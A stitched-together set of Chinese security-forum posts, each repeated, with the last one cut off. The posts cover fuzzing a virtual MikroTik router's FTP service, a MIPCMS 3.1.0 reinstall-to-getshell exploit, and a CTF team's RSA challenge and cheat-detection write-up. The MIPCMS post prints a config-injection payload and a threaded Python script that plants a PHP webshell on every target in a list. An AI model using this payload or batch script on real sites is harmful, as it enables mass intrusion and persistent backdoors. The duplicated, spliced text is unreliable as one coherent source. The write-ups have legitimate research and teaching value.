作者:红发香克斯

开篇之前一直想借助一台高性能PC利用VMWare组建一个攻防网络,之前有一贴写过找到了一个软路由系统,就是可以在VMWare中使用的路由器操作系统,那个系统还挺常用,上次帖子写到了安装和连接,没写后续的IP配置等等,上篇的地址:https://bbs.ichunqiu.com/thread-33583-1-1.html,这节给大家讲讲如何配置和挖洞的思路,首先上这个路由器软件的下载地址https://mikrotik.com/download,因为公司要做一个工控相关缓冲区溢出的课件,所以我找到了这个路由器,因为我看到它在SMB协议上有个缓冲区溢出,好像刚公开的。

设置IP地址

路由器使用VM安装以后使用你并不知道IP地址,它也没有IP地址,所以你只能通过MAC地址访问,默认用户名为admin,密码为空,详细请看这个文章https://bbs.ichunqiu.com/thread-33583-1-1.html

查看网卡信息

打开路由器并登陆,然后在shell中使用/interface pri,然后看到两块网卡wlan和lan

image.png

这两块网卡,应该是一个设置公网IP,一个设置内网IP的,路由器吧公网的数据包转发到内网IP,内网的IP就是你内网的IP段

winbox设置IP

打开winbox以后,输入Mac地址,用户名输入admin,密码为空,连接VMWare里的软路由系统

image.png

点击上图红框中的按钮,打开快速设置页面,然后需要配置两个网卡的IP地址和网关,一个是wlan的IP和网关,一个是lan的IP和网关,

https://bbs.ichunqiu.com/thread-36817-1-1.html?from=beef

这边插说两句路由模式和桥接模式,之前计算机网络没做过实验,所以对这个不在行,在网上找了一些资料,感觉这个比较浅显易懂

https://baijiahao.baidu.com/s?id … r=spider&for=pc

为了我本地的IP可以访问路由器,我就设置为一个网段而且IP为静态IP,这边Internet的IP设置成192.168.1.123,本地网络设置成为另外一个段,我的目的是要能访问它,然后挖它的漏洞,设置好以后点击OK保存

扫描路由器

刚才已经设置好了,下面要用nmap扫一下,看通不通,还有就是收集一下端口信息,这是基本流程,如果你网络不通那你咋收集端口信息,如果你没收集端口信息那你咋挖漏洞?下面对扫描结果上图

image.png

结果很称心,开着21  22  23  80  8291  2000等端口,其中8291是咱们使用winbox连接路由的端口,2000看着像测试路由器带宽的端口,80端口很surprise!因为路由器一般都有web服务,而这个只有十几M的系统居然有web服务,打开看一下

image.png

image.png

一般路由器中的功能该有的都有了,有DNS,DHCP等等,麻雀碎小,五脏俱全,亮瞎我的双眼,还可以远程连接路由器控制台

image.png

Fuzz一下FTP

对于这个新发布的系统,我没看到SMB,所以网上的那个漏洞我没法搞,但是新系统可能就有0day也说不定,所以我准备对它开放的协议进行FUZZ一下,先拿它的FTP开刀

打开metasploit,搜索fuzz,找到ftp_pre_post,常见的RHOST,RPORT这些不用讲

image.png

红框中有几个重点,其中USER参数是ftp用户名,PASS是密码,为啥要用正确的用户名密码呢,和ftp协议有关,有的FTP命令你只有登录成功才能使用,如果你填错误的用户名和密码,那么登录不成功,只能fuzz一下user和pass这俩命令,如果要深入就必须登录以后fuzz,所以这边用户名和密码设置为正确的,用户名设‘admin’,密码设为”,注意设置密码使用的是set PASS “”,这样密码就为空,就可以登录了,然后是stepsize参数,这个是设置数据增长的步长,比如第一次发送的数据包是100个字符,你设置stepsize为200的话,那第二次发的数据包就是300个字符,往后每次加200个

设置好以后执行exploit

image.png

如果路由器有报错的信息日志啥的,你可以在http的控制台里查看,比如你fuzz的时候用户名和密码不对,就会在控制台中报错

image.png

经过我一下午的fuzz奋斗努力,hia hia hia ,不找个0day———————————————————

也是正常的,没错,特么的我fuzz了一下午,这个路由器的ftp连个小毛病都没找到,看来得转移阵地

——————————————————————————————————————————————–华丽的分割线

文章结束,撒扬娜拉

作者:红发香克斯

开篇之前一直想借助一台高性能PC利用VMWare组建一个攻防网络,之前有一贴写过找到了一个软路由系统,就是可以在VMWare中使用的路由器操作系统,那个系统还挺常用,上次帖子写到了安装和连接,没写后续的IP配置等等,上篇的地址:https://bbs.ichunqiu.com/thread-33583-1-1.html,这节给大家讲讲如何配置和挖洞的思路,首先上这个路由器软件的下载地址https://mikrotik.com/download,因为公司要做一个工控相关缓冲区溢出的课件,所以我找到了这个路由器,因为我看到它在SMB协议上有个缓冲区溢出,好像刚公开的。

设置IP地址

路由器使用VM安装以后使用你并不知道IP地址,它也没有IP地址,所以你只能通过MAC地址访问,默认用户名为admin,密码为空,详细请看这个文章https://bbs.ichunqiu.com/thread-33583-1-1.html

查看网卡信息

打开路由器并登陆,然后在shell中使用/interface pri,然后看到两块网卡wlan和lan

image.png

这两块网卡,应该是一个设置公网IP,一个设置内网IP的,路由器吧公网的数据包转发到内网IP,内网的IP就是你内网的IP段

winbox设置IP

打开winbox以后,输入Mac地址,用户名输入admin,密码为空,连接VMWare里的软路由系统

image.png

点击上图红框中的按钮,打开快速设置页面,然后需要配置两个网卡的IP地址和网关,一个是wlan的IP和网关,一个是lan的IP和网关,

https://bbs.ichunqiu.com/thread-36817-1-1.html?from=beef

这边插说两句路由模式和桥接模式,之前计算机网络没做过实验,所以对这个不在行,在网上找了一些资料,感觉这个比较浅显易懂

https://baijiahao.baidu.com/s?id … r=spider&for=pc

为了我本地的IP可以访问路由器,我就设置为一个网段而且IP为静态IP,这边Internet的IP设置成192.168.1.123,本地网络设置成为另外一个段,我的目的是要能访问它,然后挖它的漏洞,设置好以后点击OK保存

扫描路由器

刚才已经设置好了,下面要用nmap扫一下,看通不通,还有就是收集一下端口信息,这是基本流程,如果你网络不通那你咋收集端口信息,如果你没收集端口信息那你咋挖漏洞?下面对扫描结果上图

image.png

结果很称心,开着21  22  23  80  8291  2000等端口,其中8291是咱们使用winbox连接路由的端口,2000看着像测试路由器带宽的端口,80端口很surprise!因为路由器一般都有web服务,而这个只有十几M的系统居然有web服务,打开看一下

image.png

image.png

一般路由器中的功能该有的都有了,有DNS,DHCP等等,麻雀碎小,五脏俱全,亮瞎我的双眼,还可以远程连接路由器控制台

image.png

Fuzz一下FTP

对于这个新发布的系统,我没看到SMB,所以网上的那个漏洞我没法搞,但是新系统可能就有0day也说不定,所以我准备对它开放的协议进行FUZZ一下,先拿它的FTP开刀

打开metasploit,搜索fuzz,找到ftp_pre_post,常见的RHOST,RPORT这些不用讲

image.png

红框中有几个重点,其中USER参数是ftp用户名,PASS是密码,为啥要用正确的用户名密码呢,和ftp协议有关,有的FTP命令你只有登录成功才能使用,如果你填错误的用户名和密码,那么登录不成功,只能fuzz一下user和pass这俩命令,如果要深入就必须登录以后fuzz,所以这边用户名和密码设置为正确的,用户名设‘admin’,密码设为”,注意设置密码使用的是set PASS “”,这样密码就为空,就可以登录了,然后是stepsize参数,这个是设置数据增长的步长,比如第一次发送的数据包是100个字符,你设置stepsize为200的话,那第二次发的数据包就是300个字符,往后每次加200个

设置好以后执行exploit

image.png

如果路由器有报错的信息日志啥的,你可以在http的控制台里查看,比如你fuzz的时候用户名和密码不对,就会在控制台中报错

image.png

经过我一下午的fuzz奋斗努力,hia hia hia ,不找个0day———————————————————

也是正常的,没错,特么的我fuzz了一下午,这个路由器的ftp连个小毛病都没找到,看来得转移阵地

——————————————————————————————————————————————–华丽的分割线

文章结束,撒扬娜拉

作者:i春秋作家——F0rmat

0×01 前言

看下整体的结构,用的是thinkPHP的架构,看到了install这个文件没有可以绕过install.lock进行重装,但是里面有一个一定要验证数据库,又要找一个SQL的注入漏洞。
想起前几天大表哥Bypass发了一篇好像是关于mipcms的漏洞,赶紧去翻了一下,又学到不少技巧,这个技巧可以用在我上次发的一篇ZZCMS 8.2任意文件删除至Getshell的文章,里面有有个getshell的操作,但是也是要数据库的验证,用上这个技巧也不需要SQL注入也可以getshell了。

关于排版问题,我也想了许多,我写的是markdown的格式,但是论坛对于这种格式效果还算挺兼容的,就是看起来有一些不美观,我就换了种方式进行写,之前我都是放代码然后在上面写解析,这样看起来有点密密麻麻,所以我就直接放代码然后在代码里面写注释,有重要的点就写在外面,这样一来看起来整个文章就很整洁了。

0×02 环境

程序源码下载:http://www.mipcms.cn/mipcms-3.1.0.zip
Web环境:Deepin Linux+Apache2+PHP5.6+MySQL(192.168.1.101)
远程数据库服务器:Windows 10 x64(192.168.1.102)

0×03 漏洞利用过程

  1. 我们先正常安装程序

图片.png

2.在远程数据库服务器上面开启远程访问,然后在上面建立一个名为test',1=>eval(file_get_contents('php://input')),'2'=>'数据库。

图片.png

3.浏览器访问:http://www.getpass.test//index.php?s=/install/Install/installPost

POST:

username=admin&password=admin&rpassword=admin&dbport=3306&dbname=test',1=>eval(file_get_contents('php://input')),'2'=>'&dbhost=192.168.1.102&dbuser=root&dbpw=root

记得里面的数据库对应上你远程数据库服务器的信息!

图片.png

可以看到一句把eval函数写到了配置文件里面了

图片.png

4.执行代码,具体原理我会在后面构造poc的再详细讲解

浏览器访问:http://www.getpass.test/system/config/database.php

POST:phpinfo();

图片.png

0×04 框架知识补充

还有人可能不怎么了解这个thinkPHP的框架,我在这里简单讲解下,最好还是去官方解读下https://www.kancloud.cn/manual/thinkphp5/118003

首先我们现在thinkPHP的配置文件/system/config/config.php里面修改下面这两个为true

图片.png

然后去打开网站(这个适合刚刚搭建还没开始安装),它会自动跳转到安装的页面。做了刚才的设置后会在右下角出现一个小绿帽,点击就可以看到文件的加载流程。

图片.png

这里有很多文件会预加载,我们主要看它的路由文件Route.php

图片.png

我们可以看到,这里检查了install.lock文件存不存在,如果不存在就会跳转到安装的界面进行安装。

图片.png

0×05 漏洞代码分析过程

/app/install/controller/Install.php问题出现在这个文件,它里面的就在index这里检查的install.lock的存在,但是在installPost这个方法里面却没有检查,也没有做关联,在install.html里面直接就跳过了,从而导致了程序重装。

图片.png

下面直接按照顺序读下面的代码就行了,我都注释好了。就有两个点:

  1. 一个是遍历数据库内容那里,我输出了$matches截图这个内容给你们好理解。

图片.png

2.再一个是配置文件的替换,读到$conf = str_replace("#{$key}#", $value, $conf);这句的时候我顺便截图了一个配置的内容。

图片.png

0×06 Payload构造

  1. 从上面的代码分析下来,我们可以晓得,必须要传入的值有
    username password rpassword dbport dbname dbhost dbuser dbpw
    用户名密码这些可以随便写,但是数据库这个在你不晓得数据库信息的时候是无法进行下去的,因为通过上面的代码分析,如果数据库连接不成功就会退出。
    看Bypass大表哥的方法,我一想,特么gb,我咋没想到这种方法呢,wocao。dbhost不是可以填服务器地址么,我们在一个服务器上面搭建一个然后进行连接不就行了么,哈哈哈。
  2. 数据库的问题解决了,我们要怎么样写到数据库文件里面呢。写到里面的就有这几个值,数据库的服务器地址和用户名密码是不能动的了,因为Mysql用户默认是16位,可以修改位数,但是数据库会把,自动转换为.,数据库密码是加密的,还有prefix这个参数修改了会造成创建表的出现错误导致程序不能正常执行。

图片.png

那么我们构造的写进去的信息就不能破坏里面的结构,我们就只能用dbname了。

3.还有一个问题,如果我们直接构造一句话木马也不行,因为上面$dbname=strtolower(input('post.dbname'))这里用了转换小写,所以一句话的$_POST$_GET就不能用了,不能用这个我们还可以用PHP的协议php://input来接受值然后用eval和assert来执行。
我在这里就不再讲解这个协议了,论坛有一篇文章是专门讲这个的,还挺详细的:https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=27441

4.从上面代码分析,我们可以看出,替换值后面会加上',,所以我们要对应上test',1=>eval(file_get_contents('php://input')),'2'=>'
最终的Payload:

username=admin&password=admin&rpassword=admin&dbport=3306&dbname=test’,1=>eval(file_get_contents(‘php://input’)),’2′=>’&dbhost=192.168.1.102&dbuser=root&dbpw=root

0×07 用Python编写批量getshell脚本

我把配置都写在里面了,需要修改数据库信息直接在代码里面改了,如果加在参数会比较麻烦。

#!/usr/bin/env
#author:F0rmat
import sys
import requests
import threading
def exploit(target):
    dbhost='192.168.1.102'
    dbuser = 'root'
    dbpw = 'root'
    dbport=3306
    dbname="test',1=>eval(file_get_contents('php://input')),'2'=>'"
    if sys.argv[1]== "-f":
        target=target[0]
    url1=target+"/index.php?s=/install/Install/installPost"
    data={
        "username": "admin",
        "password":  "admin",
        "rpassword": "admin",
        "dbport": dbport,
        "dbname": dbname,
        "dbhost": dbhost,
        "dbuser": dbuser,
        "dbpw": dbpw,
    }
    payload = "fwrite(fopen('shell.php','w'),'<?php @eval($_POST[f0rmat])?>f0rmat');"
    url2=target+"/system/config/database.php"
    shell = target+'/system/config/shell.php'
    try:
        requests.post(url1,data=data).content
        requests.post(url2, data=payload)
        verify = requests.get(shell, timeout=3)
        if "f0rmat" in verify.content:
            print 'Write success,shell url:',shell,'pass:f0rmat'
            with open("success.txt","a+") as f:
                f.write(shell+'  pass:f0rmat'+"\n")
        else:
            print target,'Write failure!'
    except Exception, e:
        print e
def main():
    if len(sys.argv)<3:
        print 'python mipcms_3.1.0.py -h target/-f target-file '
    else:
        if sys.argv[1] == "-h":
            exploit(sys.argv[2])
        elif sys.argv[1] == "-f":
            with open(sys.argv[2], "r") as f:
                b = f.readlines()
                for i in xrange(len(b)):
                    if not b[i] == "\n":
                        threading.Thread(target=exploit, args=(b[i].split(),)).start()

if __name__ == '__main__':
    main()

0×08 参考

https://github.com/F0r3at/Python-Tools/tree/master/Mipcms
http://www.cnvd.org.cn/flaw/show/CNVD-2018-02516
http://mp.weixin.qq.com/s?__biz=MzA3NzE2MjgwMg==&mid=301419963&idx=1&sn=0cb82aa5629b6432415c93d9f2b8eb8c&chksm=0b55dde63c2254f04399a7afa7f49a3889e8eaa37d747ec1a1b70f00cc0bf94c764db1295a11&mpshare=1&scene=23&srcid=0321pbJgBla01aN1U5GZXNlG#rd

作者:i春秋作家——F0rmat

0×01 前言

看下整体的结构,用的是thinkPHP的架构,看到了install这个文件没有可以绕过install.lock进行重装,但是里面有一个一定要验证数据库,又要找一个SQL的注入漏洞。
想起前几天大表哥Bypass发了一篇好像是关于mipcms的漏洞,赶紧去翻了一下,又学到不少技巧,这个技巧可以用在我上次发的一篇ZZCMS 8.2任意文件删除至Getshell的文章,里面有有个getshell的操作,但是也是要数据库的验证,用上这个技巧也不需要SQL注入也可以getshell了。

关于排版问题,我也想了许多,我写的是markdown的格式,但是论坛对于这种格式效果还算挺兼容的,就是看起来有一些不美观,我就换了种方式进行写,之前我都是放代码然后在上面写解析,这样看起来有点密密麻麻,所以我就直接放代码然后在代码里面写注释,有重要的点就写在外面,这样一来看起来整个文章就很整洁了。

0×02 环境

程序源码下载:http://www.mipcms.cn/mipcms-3.1.0.zip
Web环境:Deepin Linux+Apache2+PHP5.6+MySQL(192.168.1.101)
远程数据库服务器:Windows 10 x64(192.168.1.102)

0×03 漏洞利用过程

  1. 我们先正常安装程序

图片.png

2.在远程数据库服务器上面开启远程访问,然后在上面建立一个名为test',1=>eval(file_get_contents('php://input')),'2'=>'数据库。

图片.png

3.浏览器访问:http://www.getpass.test//index.php?s=/install/Install/installPost

POST:

username=admin&password=admin&rpassword=admin&dbport=3306&dbname=test',1=>eval(file_get_contents('php://input')),'2'=>'&dbhost=192.168.1.102&dbuser=root&dbpw=root

记得里面的数据库对应上你远程数据库服务器的信息!

图片.png

可以看到一句把eval函数写到了配置文件里面了

图片.png

4.执行代码,具体原理我会在后面构造poc的再详细讲解

浏览器访问:http://www.getpass.test/system/config/database.php

POST:phpinfo();

图片.png

0×04 框架知识补充

还有人可能不怎么了解这个thinkPHP的框架,我在这里简单讲解下,最好还是去官方解读下https://www.kancloud.cn/manual/thinkphp5/118003

首先我们现在thinkPHP的配置文件/system/config/config.php里面修改下面这两个为true

图片.png

然后去打开网站(这个适合刚刚搭建还没开始安装),它会自动跳转到安装的页面。做了刚才的设置后会在右下角出现一个小绿帽,点击就可以看到文件的加载流程。

图片.png

这里有很多文件会预加载,我们主要看它的路由文件Route.php

图片.png

我们可以看到,这里检查了install.lock文件存不存在,如果不存在就会跳转到安装的界面进行安装。

图片.png

0×05 漏洞代码分析过程

/app/install/controller/Install.php问题出现在这个文件,它里面的就在index这里检查的install.lock的存在,但是在installPost这个方法里面却没有检查,也没有做关联,在install.html里面直接就跳过了,从而导致了程序重装。

图片.png

下面直接按照顺序读下面的代码就行了,我都注释好了。就有两个点:

  1. 一个是遍历数据库内容那里,我输出了$matches截图这个内容给你们好理解。

图片.png

2.再一个是配置文件的替换,读到$conf = str_replace("#{$key}#", $value, $conf);这句的时候我顺便截图了一个配置的内容。

图片.png

0×06 Payload构造

  1. 从上面的代码分析下来,我们可以晓得,必须要传入的值有
    username password rpassword dbport dbname dbhost dbuser dbpw
    用户名密码这些可以随便写,但是数据库这个在你不晓得数据库信息的时候是无法进行下去的,因为通过上面的代码分析,如果数据库连接不成功就会退出。
    看Bypass大表哥的方法,我一想,特么gb,我咋没想到这种方法呢,wocao。dbhost不是可以填服务器地址么,我们在一个服务器上面搭建一个然后进行连接不就行了么,哈哈哈。
  2. 数据库的问题解决了,我们要怎么样写到数据库文件里面呢。写到里面的就有这几个值,数据库的服务器地址和用户名密码是不能动的了,因为Mysql用户默认是16位,可以修改位数,但是数据库会把,自动转换为.,数据库密码是加密的,还有prefix这个参数修改了会造成创建表的出现错误导致程序不能正常执行。

图片.png

那么我们构造的写进去的信息就不能破坏里面的结构,我们就只能用dbname了。

3.还有一个问题,如果我们直接构造一句话木马也不行,因为上面$dbname=strtolower(input('post.dbname'))这里用了转换小写,所以一句话的$_POST$_GET就不能用了,不能用这个我们还可以用PHP的协议php://input来接受值然后用eval和assert来执行。
我在这里就不再讲解这个协议了,论坛有一篇文章是专门讲这个的,还挺详细的:https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=27441

4.从上面代码分析,我们可以看出,替换值后面会加上',,所以我们要对应上test',1=>eval(file_get_contents('php://input')),'2'=>'
最终的Payload:

username=admin&password=admin&rpassword=admin&dbport=3306&dbname=test’,1=>eval(file_get_contents(‘php://input’)),’2′=>’&dbhost=192.168.1.102&dbuser=root&dbpw=root

0×07 用Python编写批量getshell脚本

我把配置都写在里面了,需要修改数据库信息直接在代码里面改了,如果加在参数会比较麻烦。

#!/usr/bin/env
#author:F0rmat
import sys
import requests
import threading
def exploit(target):
    dbhost='192.168.1.102'
    dbuser = 'root'
    dbpw = 'root'
    dbport=3306
    dbname="test',1=>eval(file_get_contents('php://input')),'2'=>'"
    if sys.argv[1]== "-f":
        target=target[0]
    url1=target+"/index.php?s=/install/Install/installPost"
    data={
        "username": "admin",
        "password":  "admin",
        "rpassword": "admin",
        "dbport": dbport,
        "dbname": dbname,
        "dbhost": dbhost,
        "dbuser": dbuser,
        "dbpw": dbpw,
    }
    payload = "fwrite(fopen('shell.php','w'),'<?php @eval($_POST[f0rmat])?>f0rmat');"
    url2=target+"/system/config/database.php"
    shell = target+'/system/config/shell.php'
    try:
        requests.post(url1,data=data).content
        requests.post(url2, data=payload)
        verify = requests.get(shell, timeout=3)
        if "f0rmat" in verify.content:
            print 'Write success,shell url:',shell,'pass:f0rmat'
            with open("success.txt","a+") as f:
                f.write(shell+'  pass:f0rmat'+"\n")
        else:
            print target,'Write failure!'
    except Exception, e:
        print e
def main():
    if len(sys.argv)<3:
        print 'python mipcms_3.1.0.py -h target/-f target-file '
    else:
        if sys.argv[1] == "-h":
            exploit(sys.argv[2])
        elif sys.argv[1] == "-f":
            with open(sys.argv[2], "r") as f:
                b = f.readlines()
                for i in xrange(len(b)):
                    if not b[i] == "\n":
                        threading.Thread(target=exploit, args=(b[i].split(),)).start()

if __name__ == '__main__':
    main()

0×08 参考

https://github.com/F0r3at/Python-Tools/tree/master/Mipcms
http://www.cnvd.org.cn/flaw/show/CNVD-2018-02516
http://mp.weixin.qq.com/s?__biz=MzA3NzE2MjgwMg==&mid=301419963&idx=1&sn=0cb82aa5629b6432415c93d9f2b8eb8c&chksm=0b55dde63c2254f04399a7afa7f49a3889e8eaa37d747ec1a1b70f00cc0bf94c764db1295a11&mpshare=1&scene=23&srcid=0321pbJgBla01aN1U5GZXNlG#rd

作者:FlappyPig

前言

这次比赛的题目总体上我们自己的收获还是很多的,但也出现了很多的非预期,这里代表战队向大家抱歉。

我们一些很多有趣的思路因为非预期没有体现出来。比如流密码级数给的是我测试时用的级数,少了一倍,导致有3个流密码考点都没有考到;星星的qemu monitor的console没关,正解:https://bbs.pediy.com/thread-225488.htm ;lowkey的pwn中出现的各类2b解法;同样我的题目中,windows pwn中的flag忘了padding,不用heartbleed都可以算出flag;bendawang在汪神的oj部署时直接装了docker,忘了关和改很多东西,正解看orange师傅的wp:http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html

中途还发生了两起dos,一起还是1个t的ddos。不得不说阿里云的清洗功能还是厉害的,是不是得给我广告费=……=。

言归正传,在本次比赛中,秉承公平公正的原则,我们开发了一些新的技术用于反作弊,改善目前较为恶劣的CTF环境,一定程度上保证了竞赛的公平性。运用这种方法,我们实锤了若干队伍,也希望被实锤的队伍不要有怨言,认真打比赛,提升自己的水平才是正解。

这个方法叫做基于信息不对等的竞赛作弊检测技术(是不是可以发论文了=)。这个方法的适用条件需要满足:

交互类题目

通常来说,在PWN类型、PPC类型、Crypto类型应用面较广。在不同类型的题目上应用需要有很多调整,这里我们以nextrsa为例进行介绍。

Nextrsa

Nextrsa这个题目原本思路源自某次比赛的Twin Primes,只有nextprime一个关卡,解题思路也很简单,首先进行假设:

nextprime(p)*nexprime(q)=(p+x)*(q+y)

然后和n=p*q列方程组,最后爆破x和y解一元二次方程,即可分解n:

import gmpy2
n = 0x78e2e04bdc50ea0b297fe9228f825543f2ee0ed4c0ad94b6198b672c3b005408fd8330c36f55d36fb129d308c23e5cb8f4d61aa7b058c23607cef83d63c4ed0f066fc0b3c0062a2ac68c75ca8035b3bd7a320bdf29cfcf6cc30377743d2a8cc29f7c588b8043412366ab69ec824309cb1ef3851d4fb14a1f0a58e4a1193f5518fa1d0c159621e1f832b474182593db2352ef05101bf367865ad26efe14fce977e9e48d3310a18b67991958d1a01bd0f3276a669866f4deaef2a68bfaefd35fe2ba5023a22c32ae8b2979c26923ee3f855363f18d8d58bb1bc3b7f585c9d9f6618c727f0f7b9e6f32af2864a77402803011874ed2c65545ced72b183f5c55d4d1L
m = 0x78e2e04bdc50ea0b297fe9228f825543f2ee0ed4c0ad94b6198b672c3b005408fd8330c36f55d36fb129d308c23e5cb8f4d61aa7b058c23607cef83d63c4ed0f066fc0b3c0062a2ac68c75ca8035b3bd7a320bdf29cfcf6cc30377743d2a8cc29f7c588b8043412366ab69ec824309cb1ef3851d4fb14a1f0a58e4a1193f5a58ee70a59ac06b64dbe04b876ff69436b78cf03371f2062707897bf4e580870e42b5e62709b69f6d4939ac5641ea0f29de44aaee8f2fcd0f66aaa720b584f7c801e52ce7cd41db45ceb99ebd7b51bef8d0cd2deb5c50b59f168276c9c98d46a1c37bd3d6ef81f2c6e89028680a172e00d92dd8b392135112dd16efab57d00b26b9L
def quadratic(a,b,c):
    ga=gmpy2.mpz(a)
    gb=gmpy2.mpz(b)
    gc=gmpy2.mpz(c)
    delta=gb**2-4*ga*gc
    if delta<=0 or a==0:
        return 0
    tmp=gmpy2.iroot(delta,2)
    if tmp[1]==True:
        x1 = (-gb + tmp[0]) / (2*ga)
        x2 = (-gb - tmp[0]) / (2 * ga)
        if x1>0 and n%x1==0:
            print x1
            return x1
        if x2>0 and n%x2==0:
            print x2
            return x2
    return 0
def main():
    for x in range(1500):
        print x
        for y in range(1500):
            a=y
            b=x*y-m+n
            c=x*n
            if quadratic(a,b,c)!=0:
                return 0
main()

这个题出完之后,感觉就是水了个题,好弱;于是我把这个做成了交互式的,又好弱;考虑到强网杯普及面很广,萌新很多,于是我准备把RSA所有考点搬过来让大家学习学习。于是就有了:

problem_brute_256bit(conn)
problem_wiener_attack(conn)
problem_LLL_attack(conn)
problem_np_nq(conn)
cheat=problem_yafu_cheat_check(conn, address,teamtoken)
problem_e_3_brute(conn)
problem_gcd_attack(conn)
problem_same_n(conn)
problem_broadcast(conn)

9个关卡。本来我构想是大概到15个左右,但是实在是有点忙,9个也够喂饱萌新了,于是题目最终出成了这样。所有给予的信息,都是完整的信息,通过这些判断条件是可以知道用什么方法去解的,如果不知道,可以参考我以前的一篇文章:https://www.anquanke.com/post/id/84632

题目的源码也已经公开,详情参见:https://github.com/fpbibi/nextrsa

基于信息不对等的竞赛作弊检测技术-Crypto版本

这个方法最关键的地方在于信息不对等,也就是选手知道的信息和出题者知道的信息是不对等的。这就造成了一个后果:

题目对选手黑盒 或 运行的题目和选手拿到的题目不一样

前者常用于PPC和Crypto类型的题目,后者常用于PWN类型题目。

我们在题目中设置一些类似于“陷门”的东西,可以100%地实锤某些作弊,主要可以实锤一种行为:

两个队伍交换了解题脚本,并修改teamtoken直接运行

以nextrsa举例,我做了如下设置(因为从平台方拿到teamtoken的时间有点晚,所以我是以IP区分来源的):

首先我选择了9关中的1个关卡,我选择的是第5关使用yafu分解n的关卡,选择这一关的原因有两点:

1 上一关是整个游戏最难的一关,所以到这一关的人很少,可以减少日志数量 2 这一关的yafu是需要把字符串复制出来跑的,难以动态获取立即跑完

选手在遇到这个关卡的时候,会获得以下信息:

1 这个用yafu可以跑出来 2 这个字符串每次跑都是一样的,是固定的

通过上述两个信息,选手会把n直接复制出来扔到yafu里,并分解成功后,将pq,或者将算好的私钥,也就是d放到脚本中过此关卡。
但是,在服务器上的代码并不是固定的n,n是使用这种方式生成的:

q=0xab724df05ca87067ce1573550a6a05f41f93e910b0380c71cdc5de940ef790a475f5c3d512354bc57b3410e7f5158fb287f79397353acb169ef583260eec76f4c46d21e4cb43426e3c66ba9b75d3c1b009ff1f9a0fea9c7d9815eadc5f7ac776d6dcae3c1fa3de865253623b4121e6b4f51deea0b7ae9ca84aad5fe83ba56451L
seed=int(hashlib.sha256(ip).hexdigest()[0:8],16)
p=primefac.nextprime(seed)
n=p*q

这里可惜的是,使用的是ip,所以又有了很多复杂的工作;这里最好是以teamtoken作为种子生成p。这种方式生成的p和d,每个ip或者每个token不一样。当一个队伍成功解题的时候,服务器端会记录其ip/token对应的d和n。

if rec_m == hex(m).replace("L",""):
    d=primefac.modinv(e,(p-1)*(q-1))
    if d<0:
        d+=(p-1)*(q-1)
    successdn.append((d,n))
    f=open("success/"+ip,"a")
    f.write("teamtoken:"+teamtoken+"\n"+"time:"+time.strftime('%Y%m%d%H%M%S')+"\nm:"+hex(m).replace("L","")+"\nd:"+hex(d).replace("L","")+"\nn:"+hex(n).replace("L","")+"\n\n")
    f.close()
    ok(conn)
    return 0

正常解题会发生如下情况,那么不正常解题呢?也就是说,如果这个脚本到了其他人的手里,ip和token都会发生改变,那么服务器给他的n肯定就变了,但是他脚本里的d没变。如下:

某个队伍使用自己的ip/token和服务器交互的时候,提交了和自己的ip/token不对应的d,并且这个d是其他队伍使用的。那么可以认为这个队伍有作弊嫌疑。

最骚的操作是,当服务发现该队伍作弊,使用了其他队伍的私钥后,还继续正常进行,让该队伍获得flag。######不要打我
因为我使用的是ip,不是token,所以还需要进一步分析,就是会存在这样两种情况:

1 同一个队伍的大佬做完题目后,把脚本给了另外一个ip的小弟跑 2 两个ip的p相撞

因此我又编制了一个脚本,用来筛选:

只有在两个不同的teamtoken中出现了相同私钥 and 作弊队伍的teamtoken没有成功的交互记录

for i in cheatlist:
    (cheat_token,cheat_time,cheat_d,cheat_n)=i
    find_father=0
    for j in successlist:
        (token,time,d,n)=j
        if token==cheat_token and cheat_d==d and cheat_n==n and cheat_time>time:
            find_father=1
            break
    if find_father==0:
        print cheat_token
        for j in successlist:
            (token, time, d, n) = j
            if cheat_d==d and cheat_n==n and cheat_time>time:
                print "from",token

只要满足上述所有条件,那么该队伍在概率学上是100%实锤作弊,而且还能一下锤两个。==!

图片.png

项目目录中,ppc_rsa.py是题目服务,自带socket;hide.py是flag文件,flag文件夹内记录成果获取flag的ip和token,success文件夹内记录成功以正确的私钥过那一关的ip和token,cheat文件夹内表示作弊嫌疑人,运行check_cheat.py可以进行数据分析,并给出100%实锤的作弊token。

图片.png

最后

Pwn类型的题目有着类似的思路,有兴趣的可以自己思考一下。也希望CTF的氛围越来越好,大佬越来越多。

作者:FlappyPig

前言

这次比赛的题目总体上我们自己的收获还是很多的,但也出现了很多的非预期,这里代表战队向大家抱歉。

我们一些很多有趣的思路因为非预期没有体现出来。比如流密码级数给的是我测试时用的级数,少了一倍,导致有3个流密码考点都没有考到;星星的qemu monitor的console没关,正解:https://bbs.pediy.com/thread-225488.htm ;lowkey的pwn中出现的各类2b解法;同样我的题目中,windows pwn中的flag忘了padding,不用heartbleed都可以算出flag;bendawang在汪神的oj部署时直接装了docker,忘了关和改很多东西,正解看orange师傅的wp:http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html

中途还发生了两起dos,一起还是1个t的ddos。不得不说阿里云的清洗功能还是厉害的,是不是得给我广告费=……=。

言归正传,在本次比赛中,秉承公平公正的原则,我们开发了一些新的技术用于反作弊,改善目前较为恶劣的CTF环境,一定程度上保证了竞赛的公平性。运用这种方法,我们实锤了若干队伍,也希望被实锤的队伍不要有怨言,认真打比赛,提升自己的水平才是正解。

这个方法叫做基于信息不对等的竞赛作弊检测技术(是不是可以发论文了=)。这个方法的适用条件需要满足:

交互类题目

通常来说,在PWN类型、PPC类型、Crypto类型应用面较广。在不同类型的题目上应用需要有很多调整,这里我们以nextrsa为例进行介绍。

Nextrsa

Nextrsa这个题目原本思路源自某次比赛的Twin Primes,只有nextprime一个关卡,解题思路也很简单,首先进行假设:

nextprime(p)*nexprime(q)=(p+x)*(q+y)

然后和n=p*q列方程组,最后爆破x和y解一元二次方程,即可分解n:

import gmpy2
